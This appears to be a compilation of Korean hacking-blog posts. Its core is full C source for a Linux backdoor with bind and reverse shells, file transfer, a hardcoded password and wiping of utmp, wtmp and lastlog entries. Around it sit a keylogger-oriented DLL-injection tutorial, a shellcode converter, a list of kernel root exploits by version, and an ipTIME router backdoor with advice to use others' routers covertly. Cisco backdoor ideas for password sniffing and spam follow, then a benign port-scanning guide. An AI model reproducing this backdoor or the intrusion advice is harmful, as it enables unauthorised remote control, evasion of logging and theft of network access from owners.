반응형

Microsoft에서는 프로세스간의 주고 받는 메세지를 후킹할 수 있는 함수를 제공한다.
바 로 SetWindowsHookEx()함수이다. 이 함수를 통해 DLL을 특정 프로세스나 모든 프로세스에 Injection할 수 있다.그리고 User-mode(ring 3)에서 동작하는 Keylogger들 대부분이 이 함수를 사용하여 구현된다.(SetWindowsHookEx()함수를 통해 후킹(Hooking)을 할 경우 전역 후킹이 간단하므로 많이 사용한다.)

먼저 SetWindowsHookEx()함수의 원형부터 알아보자.
(MSDN에 있는 내용이다.)

HHOOK SetWindowsHookEx(
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);

첫번째 파라메터인 idHook 변수는 후킹 하고자 하는 메세지의 ID라고 할 수 있다. WH_GETMESSAGE, WH_KEYBOARD 등 다양한 메세지가 있다.(MSDN 참조)
idHook 파라메터에 지정된 값의 이벤트(메세지)가 발생할 경우 훅 프로시저(lpfb 파라메터에 설정된)가 동작하게 된다. 훅 프로시저는 Injection할 DLL(앞으로 Injected.dll이라 부르겠다)에 지정되어 있어야한다.

/* Injected.dll */
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
 /* 원하는 코드 삽입 */
 return CallNextHookEx(0, nCode, wParam, lParam);
};

마 지막에 CallNextHookEx()함수를 호출한 이유는 훅 체인에 있는 다른 훅 프로시저가 해당 메세지를 사용할 수도 있기때문이다. 예를들면 키보드메세지를 후킹하여 Keylogger를 만들었다고 하면 해당 메세지를 후킹 후 로깅을 하고 CallNextHookEx()함수를 통해 처리를 하지 않고 그냥 끝내 버린다면 들통나버릴것이다.

두번째 파라메터는 lpfn이다. 이 파라메터에는 Injected.dll에 지정된  훅 프로시저의 주소값을 지정한다.만약 IdHook에 WH_KEYBOARD를 지정하여 후킹 할경우 해당 훅 프로시저는 KeyboardProc이다. 주소 값을 지정해줘야하는데 하드코딩하여 지정해 줄 수 있지만 LoadLibrary()함수와 GetProcAddress를 이용하여 Injected.dll의 훅 프로시저의 주소를 구할 수 있다.

/* Injector.c */
HMODULE hDll;
unsigned long KeyboardProcAddr;

hDll = LoadLibrary("injected.dll");
KeyboardProcAddr = GetProcAddress(hDll, "KeyboardProc");

다음으로 세번째 파라메터인 hMod를 보자. hMod는 DLL의 핸들(Handle)을 지정해야한다.여기에선 Injected.dll의 핸들을 지정해주면 된다.
이미 Injector.c에서 LoadLibrary("Injected.dll"); 통해 핸들을 얻었으므로 hDll변수를 사용하면 된다.

네 번째 파라메터 dwThreadId는 후킹할 프로세스 즉 Injected.dll을 삽입할 스레드(Thread)의 ID이다. PID라고 하며 해당 파라메터에 0을 지정하면 모든 스레드에 훅(Hook)을 한다는 의미로 전역 훅을 할 수 있다. 특정 스레드에 Injection을 하려고 한다면 "작업관리자"를 통해 PID를 얻어 하드코딩하거나 아래와 같은 방법으로 PID를 얻어 사용할 수 있다.

/* 전역 훅 */
SetWindowsHookEx(WH_KEYBOARD, KeyboardProcAddr, hDll, 0)

/* 지역 훅*/
SetWindowsHookEx(WH_KEYBOARD, KeyboardProcAddr, hDll, GetCurrentThreadID());

dwThreadId 값을 얻기 위한 함수는 많다.

반응형
#!/usr/bin/perl


print "shellcode: ";
$x1=<>;
my $data = "$x1";
chomp($data);
my @values = split(undef,$data);

foreach my $val (@values) {

chomp($val);
print '\x';
print unpack(H8,"$val");

}

print "\n";
exit 0;
쉘코드 자료
http://blog.naver.com/sunku_nori?Redirect=Log&logNo=130008699090

쉘코드 변환기
http://hackersnews.org/hn/main.cgi/shellcode-converter.c?down_num=1116701267&board=hn_hack1&command=down_load&d=&filename=shellcode-converter.c
쉘코드 인코더
http://hackersnews.org/hn/main.cgi/shellcode-encoder.c?down_num=1116701309&board=hn_hack1&command=down_load&d=&filename=shellcode-encoder.c
반응형
반응형
/*

*   A tiny Linux backdoor with tty V. 1.2

*   Based on bindtty , thx sd

*   Code by W.Z.T     <wzt@xsec.org>

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <errno.h>
#include <dirent.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/socket.h>

#define  HOME "/tmp"
#define  TEMP_FILE        "tthacker"
#define  CREATMODE        0777
#define  TIOCSCTTY        0x540E
#define  TIOCGWINSZ       0x5413
#define  TIOCSWINSZ       0x5414
#define  ECHAR            0x1d
#define  BUF              32768

#define  MAXENV          256
#define  ENVLEN          256
   
#define  WTMP_NAME        "/var/log/wtmp"
#define  UTMP_NAME        "/var/run/utmp"
#define  LASTLOG_NAME     "/var/log/lastlog"

#define  MAXARGS          50
#define  MAXFD              5
#define  SLEEP_TIME       10  /* !!connect back time */
#define  ARGLEN           300

#define  USAGES1          "\nconnected successful.welcome to use xsec's bindshell.Good Luck:)\n\n"
#define  ERRORS           "\nDo you want to get my shell? FUCK------->"
#define  PASSWD           "tthacker"     /* !!default password  */
#define  LOGIN              "login:"

#define  MAXNAME        100
#define  BUF_SIZE        4096
#define  TEMP_NAME        "tthacker"
      
void shell(int sock_id,int sock_fd);
void myshell(void);
void connect_back(char *hosts,char *port);    
void bindshell(char *port);    
void send_file(int sock_id);  
void save_file(int client_fd);
void get_tty(int num, char *base, char *buf);
void sig_child(int i);
void hangout(int i);
void cannot_stop_me(void);
void clearn_utmp(char *who);
void clearn_wtmp(char *who);
void clearn_lastlog(char *who);
void usage(char *pro);
int  open_tty(int *tty, int *pty);

struct winsize {
   unsigned short ws_row;
   unsigned short ws_col;
   unsigned short ws_xpixel;
   unsigned short ws_ypixel;
};

char command[ARGLEN];
char error1[MAXARGS];
char type1[MAXARGS];
char type2[MAXARGS];
char check[ARGLEN];

int fp;

int flag_g=0;
int flag_u=0;

char send_filename[MAXNAME];
char save_filename[MAXNAME];

int main(int argc,char *argv[])
{
    if(argc==1){
        usage(argv[0]);
    }
    if(argc==2){
        bindshell(argv[1]);
    }
    if(argc==3&&!strcmp(argv[1],"-c")){
        clearn_utmp(argv[2]);
        clearn_wtmp(argv[2]);
        clearn_lastlog(argv[2]);
    }
    if(argc==3&&strcmp(argv[1],"-c")){
        connect_back(argv[1],argv[2]);
    }
    if(argc==4&&!strcmp(argv[1],"-g")){    
        flag_g=1;
        strcpy(save_filename,argv[3]);
        bindshell(argv[2]);
    }
    if(argc==5&&!strcmp(argv[1],"-u")){
        flag_u=1;
        strcpy(send_filename,argv[4]);
        connect_back(argv[2],argv[3]);
    }
   
    return 0;
}

void usage(char *pro)
{
    fprintf(stdout,"Usage: \n\n");
    fprintf(stdout,"Bindshell    : %s <port>\n",pro);
    fprintf(stdout,"Connect back    : %s <remote ip> <port>\n",pro);
    fprintf(stdout,"Save file    : %s -g <port> <filename>\n",pro);
    fprintf(stdout,"Send file    : %s -u <remote ip> <port> <filename>\n",pro);
    fprintf(stdout,"Clean log(root)    : %s -c <username>\n",pro);
    exit(0);
}

void connect_back(char *hosts,char *port)
{
    struct sockaddr_in serv_addr;
    struct hostent     *host;
    int sock_fd,pid;

    if(flag_u!=1){
     printf("Daemon is starting...");
      fflush(stdout);
      pid = fork();
      if (pid !=0 ) {
          printf("OK, pid = %d\n", pid);
          exit(0);
      }
                                                                                                
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
    }
   
    while(1){
        if((host=gethostbyname(hosts))==NULL){
            herror("gethostbyname");
            exit(1);
        }

        if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
            perror("socket");
            exit(1);
        }

        serv_addr.sin_family=AF_INET;
        serv_addr.sin_port=htons(atoi(port));
        serv_addr.sin_addr=*((struct in_addr *)host->h_addr);
       
        bzero(&(serv_addr.sin_zero),8);

        strcpy(error1,(char *)inet_ntoa(INADDR_ANY));
            error1[strlen(error1)]='\0';

        if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
            perror("connect");
            close(sock_fd);
            continue;
        }
       
        if(flag_u==1){
            send_file(sock_fd);
            exit(0);
        }
        else{
            shell(sock_fd,0);
            sleep(SLEEP_TIME);
            close(sock_fd);
        }
     }
}

void bindshell(char *port)
{
    int pid;
    int  sin_size;
    int sock_fd,client_fd;
    struct sockaddr_in my_addr;
     struct sockaddr_in remote_addr;

    if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
        perror("socket");
        exit(1);
    }
   
    my_addr.sin_family=AF_INET;
    my_addr.sin_port=htons(atoi(port));
    my_addr.sin_addr.s_addr=INADDR_ANY;

    bzero(&(my_addr.sin_zero),8);

    if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
        perror("bind");
        exit(1);
    }

    if(listen(sock_fd,MAXFD)==-1){
        perror("listen");
        close(sock_fd);
        exit(0);
    }

    strcpy(error1,(char *)inet_ntoa(remote_addr));
    error1[strlen(error1)]='\0';


    printf("Daemon is starting...");
    fflush(stdout);
    pid = fork();
    if (pid !=0 ) {
        printf("OK, pid = %d\n", pid);
        exit(0);
     }
   
      setsid();
      chdir("/");
      pid = open("/dev/null", O_RDWR);
      dup2(pid, 0);
      dup2(pid, 1);
      dup2(pid, 2);
      close(pid);
      signal(SIGHUP, SIG_IGN);
      signal(SIGCHLD, sig_child);
   
    while(1){
        sin_size=sizeof(struct sockaddr_in);
        if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
            perror("accept");
            close(client_fd);
            continue;
        }
        if(flag_g==1){
            save_file(client_fd);
            exit(0);    
        }
        else{
            shell(client_fd,sock_fd);
        }
        close(client_fd);
    }
}

void send_file(int sock_id)
{
    int fd,n_char;    
    char buffer[BUF_SIZE];
   
    if((fd=open(send_filename,O_RDONLY))<0){
        fprintf(stderr,"Cannot open %s\n",send_filename);
        exit(1);
    }

    printf("[+] Open file %s ok.\n",send_filename);    
    while((n_char=read(fd,buffer,BUF_SIZE))>0){
        write(sock_id,buffer,n_char);
        printf("Send %d bytes ok.\n",n_char);
    }
       
    fprintf(stdout,"send file %s ok.\n",send_filename);
    close(fd);
}

void save_file(int client_fd)
{
    int fd,n_char;
    char buffer[BUF_SIZE];
    char send_ok[BUF_SIZE]="save file ok.\n";
    char file_name[MAXNAME];
   
    if((fd=creat(save_filename,CREATMODE))<0){
        fprintf(stderr,"Cannot create % .n",save_filename);
        exit(1);
    }
   
    printf("[+] Open file %s ok.\n",save_filename);
    while((n_char=read(client_fd,buffer,BUF_SIZE))>0){
        write(fd,buffer,n_char);
        printf("Save %d bytes ok.\n",n_char);
    }

    write(client_fd,send_ok,sizeof(send_ok));        
    close(fd);
}

void shell(int sock_id,int sock_fd)
{
    fd_set     fds;
    struct  winsize ws;
    char     buf[BUF];
    char    msg[] = "Can't fork pty, bye!\n";
    char     *argv[] = {"sh", "-i", NULL};
    char     *envp[MAXENV];
     char     envbuf[(MAXENV+2) * ENVLEN];
     char     home[MAXENV];
    int     i,j,k,slen,rlen,count;
    int     subshell,tty,pty;
       unsigned char *p, *d;
       unsigned char wb[5];
   
    write(sock_id,LOGIN,sizeof(LOGIN));
    read(sock_id,check,sizeof(check));

    if(strstr(check,PASSWD)!=NULL){
        if(!fork()){
            write(sock_id,USAGES1,strlen(USAGES1));

//stealing code from bindtty                    

            envp[0]=home;
               sprintf(home, "HOME=/tmp", HOME);
                   j = 0;
                   do {
                   i = read(sock_id, &envbuf[j * ENVLEN], ENVLEN);
                   envp[j+1] = &envbuf[j * ENVLEN];
                   j++;
                   if ((j >= MAXENV) || (i < ENVLEN)) break;
               } while (envbuf[(j-1) * ENVLEN] != '\n');
               envp[j+1] = NULL;

               setpgid(0, 0);

               if (!open_tty(&tty, &pty)) {
                   write(sock_id, msg, strlen(msg));
                   close(sock_id);
                   exit(0);
               }

            subshell = fork();
               if (subshell == 0) {
                   close(pty);
                       setsid();
                 ioctl(tty, TIOCSCTTY);
                   close(sock_id);
                    close(sock_fd);
                       signal(SIGHUP, SIG_DFL);
                   signal(SIGCHLD, SIG_DFL);
                      dup2(tty,0);
                      dup2(tty,1);
                      dup2(tty,2);
                       close(tty);
                   execve("/bin/sh", argv, envp);
               }

               close(tty);

               signal(SIGHUP, hangout);
               signal(SIGTERM, hangout);    
               
               while (1) {
                   FD_ZERO(&fds);
                   FD_SET(pty, &fds);
                   FD_SET(sock_id, &fds);
                   if (select((pty > sock_id) ? (pty+1) : (sock_id+1),&fds, NULL, NULL, NULL) < 0){
                       break;
                   }
                   if (FD_ISSET(pty, &fds)) {
                       count = read(pty, buf, BUF);
                       if (count <= 0) break;
                       if (write(sock_id, buf, count) <= 0) break;
                   }
                   if (FD_ISSET(sock_id, &fds)) {
                       d = buf;
                       count = read(sock_id, buf, BUF);
                       if (count <= 0) break;

                       p = memchr(buf, ECHAR, count);
                       if (p) {
                               rlen = count - ((long) p - (long) buf);

                           if (rlen > 5) rlen = 5;
                                      memcpy(wb, p, rlen);
                           if (rlen < 5) {
                                   read(sock_id, &wb[rlen], 5 - rlen);
                           }

                           ws.ws_xpixel = ws.ws_ypixel = 0;
                           ws.ws_col = (wb[1] << 8) + wb[2];
                           ws.ws_row = (wb[3] << 8) + wb[4];
                           ioctl(pty, TIOCSWINSZ, &ws);
                           kill(0, SIGWINCH);

                           write(pty, buf, (long) p - (long) buf);
                           rlen = ((long) buf + count) - ((long)p+5);
                           if (rlen > 0)
                    write(pty, p+5, rlen);
                     }
                        else
                           if (write(pty, d, count) <= 0) break;
                      }
                    }
                   close(sock_id);
                   close(sock_fd);
                   close(pty);

                   waitpid(subshell, NULL, 0);
                   vhangup();
                   exit(0);
                  
        }
    }
    else{
        write(sock_id,ERRORS,strlen(ERRORS));
        write(sock_id,error1,strlen(error1));
        close(sock_id);
    }
    close(sock_id);
}        

//stealing code from bindtty:)


void    get_tty(int num, char *base, char *buf)
{
       char    series[] = "pqrstuvwxyzabcde";
       char    subs[] = "0123456789abcdef";
       int pos = strlen(base);
       strcpy(buf, base);
       buf[pos] = series[(num >> 4) & 0xF];
       buf[pos+1] = subs[num & 0xF];
       buf[pos+2] = 0;
}


int open_tty(int *tty, int *pty)
{
       char    buf[512];
       int i, fd;

       fd = open("/dev/ptmx", O_RDWR);
       close(fd);

       for (i=0; i < 256; i++) {
           get_tty(i, "/dev/pty", buf);
           *pty = open(buf, O_RDWR);
           if (*pty < 0) continue;
           get_tty(i, "/dev/tty", buf);
           *tty = open(buf, O_RDWR);
           if (*tty < 0) {
                   close(*pty);
                       continue;
           }
           return 1;
       }
       return 0;
}


void sig_child(int i)
{
       signal(SIGCHLD, sig_child);
       waitpid(-1, NULL, WNOHANG);
}

void hangout(int i)
{
       kill(0, SIGHUP);
       kill(0, SIGTERM);
}

void cannot_stop_me(void)
{
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);

    signal(SIGCHLD,SIG_IGN);
    signal(SIGHUP,SIG_IGN);
    signal(SIGTERM,SIG_IGN);
    signal(SIGINT,SIG_IGN);
    signal(SIGKILL,SIG_IGN);
    if(fork())
        exit(0);
}

void clearn_utmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(UTMP_NAME,O_RDWR))<0){
               perror("open");
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("clearn %s done.\n",UTMP_NAME);
}

void clearn_lastlog(char *who)
{
       struct passwd *pwd;
       struct lastlog new;
                                                                 
       if((pwd=getpwnam(who))==NULL){
               printf("No such user.\n");
               exit(0);
       }
                                                                 
       if((fp=open(LASTLOG_NAME,O_RDWR))<0){
               printf("clearn %s failed\n",LASTLOG_NAME);
       }
       bzero((char *)&new,sizeof(new));
       lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
       write(fp,&new,sizeof(new));
       printf("clearn %s done.\n",LASTLOG_NAME);
       close(fp);
}

void clearn_wtmp(char *who)
{
       struct utmp ent;
                                                                 
       if((fp=open(WTMP_NAME,O_RDWR))<0){
               printf("Can't open the file %s \n",WTMP_NAME);
       }
       while(read(fp,&ent,sizeof(ent))>0){
               if(!strncmp(ent.ut_user,who,sizeof(ent))){
                       bzero((char *)&ent,sizeof(ent));
                       lseek(fp,-(sizeof(ent)),SEEK_CUR);
                       write(fp,&ent,sizeof(ent));
               }
       }
       printf("claern %s done.\n",WTMP_NAME);
       close(fp);
}
반응형
리눅스 커널 버전별 루트 익스플로잇 리스트입니다.
각자 서버의 커널 버전에 해당하는 익스플로잇을 찾아서 취약점은 없는지 테스트 해보시는것도 좋을 듯 싶습니다. 취약점 점검용으로만 참고하시고, 악용은 안되는거 아시죠?!

=======================

2.4.17
newlocal
kmod

2.4.18
brk
brk2
newlocal
kmod
km.2

2.4.19
brk
brk2
newlocal
kmod
km.2

2.4.20
ptrace
kmod
ptrace-kmod
km.2
brk
brk2

2.4.21
km.2
brk
brk2
ptrace
ptrace-kmod

2.4.22
km.2
brk2
brk
ptrace
ptrace-kmod

2.4.22-10
loginx
./loginx

2.4.23
mremap_pte

2.4.24
mremap_pte
Uselib24

2.4.25-1
uselib24

2.4.27
Uselib24

2.6.0
REDHAT 6.2
REDHAT 6.2 (zoot)
SUSE 6.3
SUSE 6.4
REDHAT 6.2 (zoot)
all top from rpm
-------------------------
FreeBSD 3.4-STABLE from port
FreeBSD 3.4-STABLE from packages
freeBSD 3.4-RELEASE from port
freeBSD 4.0-RELEASE from packages
----------------------------
all with wuftpd 2.6.0;
=
wuftpd
h00lyshit

2.6.2
mremap_pte
krad
h00lyshit

2.6.5 to 2.6.10
krad
krad2
h00lyshit

2.6.8-5
krad2
./krad x
x = 1..9
h00lyshit

2.6.9-34
r00t
h00lyshit

2.6.13-17
prctl
h00lyshit
-------------------
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
반응형

 자바 java Generic 에 관한 문서..

C++에서 많이 사용하는 template 같은 넘...

jdk 5.0 이상 버전에 annotation 과 함께 추가된 새로운 기능 중 하나.

반응형

iptime 공유기에 백도어..?가 있었다.
http://192.168.0.1/????/timepro.cgi?tmenu=main_frame&smenu=main&frame
암호가 없이 공유기 설정이 마음대로 들어가진다. 오마이갓.

????부분은 미공개처리인듯 유추시 cgi-bin  일듯으로 여겨짐
아니면 debug  거의 cgi-bin이 확실할듯

거기에..
http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug 를 입력하면 이상한 놈이 나옵니다.
(최신버전은 debug 대신 bluesky입니다..)
가면.. command name을 입력할 수 있는게 뜨는데
리눅스 명령어가 모두 먹힌다.

hwinfo라던지.. 심지어 파일도 올릴 수 있는데 wget과 비슷한 역활을 하는 프로그램을 올려서
telnetd를 이용 putty로 접속하여 쉘을 실행을 시킬 수가 있다.

이런 개.....xxxxx 하지만 패치가 나왔다.
그래도 이 사실을 모르는 사람이 많을것이고.. 따라서 주위에 iptime 공유기가 검색된다면
조용히 몰래 공짜로 쓸 수가 있다. (암호가 걸려있다면).. 암호 안걸려있으면 걍 쓰면 되고 -_-;
http://kldp.org/node/83510

반응형
작년에 "TCL 로 Cisco 라우터에 백도어 심기" 라는 글을 올린 후 많은 분들이 이걸 직접 따라해보셨더군요.
Cisco 에뮬레이터인 Dynamips 를 이용해 cisco 라우터 이미지를 올려서 직접 테스트해보신 사례를 블로고스피어에서 심심찮게 찾아볼 수 있었습니다.

Dynamips 이용한 테스트 : http://blog.naver.com/mongu2/140048866200

그러나 Cisco 의 enable 패스워드를 획득한 상태에서 관리자 권한으로 백도어를 심는 것은 약하게 느껴지죠. 여러분이 대기업의 엣지 라우터를 장악했다. 그러면 이 상태를 가장 효과적으로 이용하는 것은 무엇이겠습니까?

네, GRE 터널링을 이용해 내부 네트워크에 transparent 하게 접근하거나, 패킷 스니핑을 이용해 내부자들의 ID/Password 를 획득하는 것이겠죠.

1. GRE 터널링을 이용한 공격 기법 : http://www.securityfocus.com/infocus/1847
2. TCL-pcap 을 이용한 스니핑 : http://www.tcl.tk/community/tcl2007/papers/Hari_Narayanan/TclPcapExtension.pdf

1번째 기법은 자주 사용되는 기법이지만, 고객사 네트워크를 현저히 느리게 할 수 있으므로 실무에 활용할때 주의가 필요합니다.

2번째 기법은 아쉽게도 한계가 있는데, TCL-pcap 이 pcap 라이브러리를 필요로 한다는 점과 TCL-pcap 을 Cisco 장비에 설치할 수 없다는 점입니다. 즉 좀 더 연구해야 실무에 활용할 수 있습니다.

Cisco 장비에서 제공하는 default 기능만으로 사용자의 ID/Password 를 획득할 수 있도록 TCL 스크립트를 짤 수 있다면 좋을텐데... 한번 연구해보실 분 없으려나요?

해외에선
ircd - http://www.hping.org/tclircd/,
HTTP Proxy - http://www.koders.com/tcl/fidDBADD59E2D02B64819FA5BB283B3A3F9EA2C9108.aspx 
를 심는 사례가 있더군요.

Cisco 공식 문서에 나온 예제 코드(http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html#wp1046490) 를 토대로 라우터를 스팸 발송에 이용하는 것도 생각해볼 수 있을 듯...

참고로 chargen port 에 접속하는 TCl 소스 예제
set server localhost
set socks [socket $server 19]
gets $socks line
puts $line
close $socks

위의 예제를 조금 확장하면 Cisco 라우터를 포트 스캐너로 활용할 수도 있겠습니다.
반응형
반응형
윈도우 기반 포트스캐너 (SuperScan)

해킹 공격이나 바이러스, 웜 등에 의하여 공격을 받은 시스템의 경우 공격자가 재접속 또는 해당 시스템을 악용하기 위해서 특정 통로를 설치하는 경우가 있다. 이러한 악성 프로그램은 사용자의 자각 증상이 적어 지나치는 경우가 많으으므로 네트워크 또는 시스템 관리자는 주기적으로 이러한 프로그램에 의하여 열려있는 포트 존재 여부를 파악하여야 한다. 사용자 또는 관리자가 설치하지 않은 서비스의 존재 여부를 가장 쉽게 파악할 수 있는 방법이 포트스캔이다.
포트스캔 도구는 여러 가지가 사용되지만 가장 기본적인 기능을 갖추고 사용이 편리한 도구인 Superscan에 대하여 알아보도록 한다.


가. 다운로드 및 설치

SuperScan은 TCP 프로토콜이 설치되어 있는 Windows 95/98, Windows 2000/NT 4.0,
Windows XP 시스템에서 사용가능하며 모든 시스템에는 ICMP.DLL 파일이 존재하여야 한다.
Superscan은 다음의 주소에서 다운받을 수 있다.

<http://www.foundstone.com/knowledge/proddesc/superscan3.html>

상단의 주소로 접속하면 (그림 4-1-5)에 나타난 다운로드 화면이 나타나며, 최하단에“Download this tool now”링크를 이용하여 다운로드 받는다. 다운로드 완료 후, 다운로드 받은 “superscan3.exe”파일을 더블클릭하여 해당 도구를 설치한다. 설치가 완료되면 기본적으로 C:\Program Files\Superscan 위치에 도구가 설치된다.

SuperScan 다운로드 화면 (그림 4-1-5)

나. 시스템 점검

SuperScan을 실행하면 (그림 4-1-6)과 같은 화면이 나타난다. 기본적인 작동법은 스캔하고자 하는 시스템의 IP주소 및 포트를 설정하고,“ Start”버튼을 클릭하면 점검이 이루어진다.

● 점검하고자 하는 시스템의 IP주소 또는 IP영역을 지정한다. 단일 시스템을 점검하는 경우, Start와 Stop영역에 동일한 IP주소를 입력한다. 예를 들어, 172.16.1.0/24의 C-Class를 점검 하고자 하는 경우에는 Start : 172.16.1.0, Stop : 172.16.1.255를 입력한다.
● 스캔 옵션을 지정한다. 각 옵션에 대한 설명은 [표 4-1-3]에 나타난 바와 같다.

SuperScan 점검화면 (그림 4-1-6)

점검항목(옵션) 의미
Resolve hostnames 점검대상의 호스트명을 쿼리
Only scan responsive pings Ping 요청에 대한 응답이 있는 시스템만 스캔
Show host responses 포트를 스캔하지 않고 Ping에 대한 응답 여부만을 점검
Every port in list 포트 목록에 지정된 모든 포트를 점검
All selected ports on list 포트 목록중 선택한 포트에 대해서만 점검
All list ports from 지정한 포트영역 내에서 포트목록에 지정된 포트만 점검
All ports from 지정한 포트영역 내의 모든 포트 점검
[표 4-1-3] Super Scan 점검항목

● 포트목록 설정은“Port list setup”버튼을 클릭하면 설정 창이 나타난다.

- Change/add/delete port info : 포트 목록에 새로운 포트를 추가, 삭제 또는 설명을 편집 할 수 있다.
- Port list file : 포트목록이 저장되어 있는 텍스트 파일을 지정한다. 포트정보를 추가, 삭제 및 수정한 이후“Save”버튼을 클릭하여 해당정보를 텍스트 파일에 저장한다.
※ 기본적으로“scanner.lst”라는 파일이 지정되어 있음
- Helper apps in right click menu : FTP, Telnet 및 Web 접속에 이용되는 어플리케이션 을 지정한다.
- Select ports : 포트목록 파일에 지정되어 있는 목록을 출력하여 주며 해당 포트를 더블 클 릭하여 선택 또는 해제한다. 선택된 포트는 포트번호 옆에 녹색의 ∨표시가 나타난다.

● 점검하고자하는 IP주소와 포트설정 및 점검옵션의 설정이 완료되면“Start”버튼을 클릭하여 점검을 시작한다.
● 점검결과는 하단에 나타난다.

다. 점검결과 확인

해당 시스템에 대하여 점검이 완료되면 (그림 4-1-8)과 같이 하단에 점검결과를 출력한다. 점검 상 시스템은 IP주소로 구분되어 트리 구조로 점검결과가 나타나며, 모든 시스템의 점검결과를 인하기 위해서는 하단 우측에“Expand All”버튼을 클릭하면 된다.

※“Resolve Hostname”옵션을 지정한 경우, IP주소 우측에 호스트명이 표시된다.

SuperScan 점검결과 화면 (그림 4-1-8)

하단의 점검결과는 윈도우 시스템과 리눅스 시스템을 대상으로 점검한 결과이며, 각 시스템에서 제공하는 서비스 및 포트번호가 표시된다. 각 시스템에서 서비스 제공을 위해 설치한 서비스 이외의 포트가 나타난 경우, 악성프로그램 설치를 의심하여야 하며 열려진 포트에 대하여 적절한 접근 통제 정책을 적용하여야 한다

라. 서비스 포트

다음의 포트들은 P2P, 웹폴더, 메신져트로이목마에 사용되는 포트목록으로 포트스캔을 통해 해당 서비스가 발견된 경우 특별한 주의를 기울여야 할 필요가 있다.

(1) 메신저 사용포트


(2) 웹폴더 사용포트


(3) 주요 어플리케이션 사용포트

(4) 주요 P2P 프로그램 사용포트 예시

(5) 트로이목마 프로그램 사용포트




출처 -한국정보보호진흥원 사이버안전메뉴얼 중

+ Recent posts